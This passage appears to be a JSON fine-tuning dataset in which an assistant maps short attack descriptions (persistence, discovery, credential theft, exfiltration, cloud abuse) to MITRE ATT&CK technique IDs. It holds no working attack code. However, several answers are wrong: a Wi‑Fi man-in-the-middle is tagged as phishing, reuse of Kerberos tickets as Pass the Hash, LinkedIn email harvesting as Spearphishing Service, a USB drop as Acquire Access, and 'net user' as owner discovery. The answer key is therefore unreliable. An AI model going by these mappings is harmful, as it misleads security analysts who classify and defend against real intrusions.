                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a hidden folder in C:\\ProgramData and sets a scheduled task to run a binary from there."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor purchases a domain with a similar spelling to a legitimate service to perform typo‑squatting attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor abuses IAM role permissions to invoke Azure Functions for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by modifying the RC startup script in /etc/rc.d/rc.local to run a backdoor on login."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary leveraged a PowerShell payload that formatted the C: drive, erasing all local data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor automates the rollback of a compromised Oracle Cloud Infrastructure compute instance by invoking OCI commands to terminate the instance and launch a prior backup image."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed TightVNC on compromised hosts to establish a remote desktop session for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a series of connection attempts to a set of closed ports in a specific order, which the target system interprets as a signal to open a backdoor service."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised Wi‑Fi hotspot to perform man‑in‑the‑middle attacks and inject malicious payloads into user traffic."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insufficiently protected cloud storage for data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a loop that continuously resets signal dispositions, ensuring that any process interrupt is ignored."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder modifies the domain's Kerberos policy to allow delegation without restrictions."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accessed the Terraform Cloud dashboard with stolen credentials to modify infrastructure as code templates."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on a victim's workstation extracts the Outlook address book, gathering all stored email contacts for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses Debugger detection via ptrace(2) on Linux and exits if the process is being traced."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers information about the victim's customer and vendor relationships by reviewing contract disclosures and procurement databases."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software abuses the \"Filter Keys\" accessibility setting, causing a malicious DLL to load whenever the setting is changed."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By querying DNSDumpster and similar tools, the attacker extracts historical DNS records to profile the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary removes all non-essential sections from a malicious executable, stripping headers and debug information to evade static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors push compromised files to a private Bitbucket repository as an exfiltration channel."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows Management Instrumentation to query system information and launch PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider downloads corporate documents from the company's Google Drive shared folder."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uploads a backdoored VM image to the organization's internal cloud image repository, which is later used for new VM instances."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised host, the threat actor redirects an existing SSH connection to a malicious server to capture authentication credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes \"crictl ps\" to identify active container processes on the node."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a man-in-the-browser attack to retrieve the session cookie from the browser memory."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By planting a malicious .dmg file with a trusted developer certificate, the malware evades Gatekeeper checks and executes."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker runs 'wmic useraccount get name' to list local users on the target."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers take advantage of a remote MySQL service vulnerability, sending malformed queries that lead to remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script silently runs 'wmic csproduct get UUID' to obtain the machine's unique hardware identifier."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries route malicious traffic through legitimate cloud services by using domain fronting, making the traffic appear to originate from an allowed domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed AWS Secrets Manager using compromised IAM credentials to retrieve database passwords for later use."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a chain of open proxies, the adversary forwards data across several hops to disguise the origin of the attack."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is introduced as a transport agent in the corporate mail system, allowing the attacker to manipulate email headers for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor obtains Kerberos ticket‑granting ticket hashes and reuses them for lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware attempts to enumerate Group Policy via the LDAP query (objectClass=groupPolicyContainer) against the domain."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DOM-based XSS attacks targeting client-side scripts"
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages PowerShell to delete the network connection event logs and resets the network adapter configuration to default values."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By installing a rogue password filter DLL, the threat actor harvests user passwords during authentication events."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a script that enumerates active RDP sessions and then connects to one, causing a session hijack."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group inserts a new service principal name and associated domain account to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised GitHub Actions workflow to push collected logs to an attacker‑owned webhook URL."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious DLL under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit to have it executed during user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses PowerShell's `Get-LocalGroup` cmdlet to discover local group accounts on a Windows system."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB drive is left in a parking lot; when plugged into a workstation, it auto‑runs a script that creates a new user account."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrites the system's firmware image to embed a boot‑time trojan, achieving persistent control."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor configures the laptop's lid close action to \"Do nothing\" to avoid shutdown during infiltration."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script changes the permissions of a critical system binary to setuid root, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits weak service account passwords by requesting Kerberos tickets and then offline cracking the ticket data to gain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a public proxy service to mask the origin of their malicious traffic and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses the victim's .bash_history file to locate commands that contain clear‑text passwords or private keys."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the PubPrn DLL hijacking technique to proxy execution of a malicious batch file."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs session fixation by setting a known session cookie for the victim, then later retrieves it after the victim logs in."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting commands that set the /SAFEBOOT option, the adversary ensures the OS starts in Safe Mode, evading normal security controls."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal uses cloud API to instantiate a new Linode server for staging phishing kits."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a popular open‑source library on GitHub, adding a hidden backdoor that is pulled into downstream projects during compilation."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a crafted JPEG file that triggered a heap overflow in an image processing service, providing them with code execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests publicly available email addresses of company employees from LinkedIn."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the TLS configuration on a server to force use of the older, less secure SSLv3 protocol, allowing man‑in‑the‑middle decryption."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a custom library by setting the LoadAppInit_DLLs key to 1 and adding the payload DLL path to AppInit_DLLs."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gain unauthorized access to a certificate authority to issue fraudulent TLS certificates."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan encodes files using a custom 6‑bit mapping and stores them in image EXIF fields for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs a VNC server on the victim machine and uses stolen credentials to remotely control the desktop over port 5900."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding an LC_LOAD_DYLIB load command to a signed macOS application, the attacker achieves event‑triggered execution of their code."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a misconfigured Podman API endpoint to enumerate containers and extract embedded environment variable credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes compute instances in an obscure cloud region that the target organization does not inventory, using those instances to host malicious tools and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection reads the user's saved passwords from the Internet Explorer credential cache."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker emails a malicious Word document that exploits a zero‑day vulnerability when opened by the target."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets a kernel driver vulnerability, allowing the attacker to execute code in kernel mode and obtain SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through 'at', the attacker programs a task to execute ransomware encryption at a specific time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs 'net user' without parameters to list user accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies routing tables on a compromised host to tunnel traffic between the enterprise network and an external command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder extracts the contents of ~/.bash_history on Linux systems to discover previously entered database login credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor executes a CLI command on a router to export the running configuration and saves it to a remote server for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious plugin, the threat actor achieved execution within the client software binary’s process."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the exploitation of a vulnerable Remote Desktop Services configuration, the attacker injects a malicious DLL to commandeer the current RDP session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
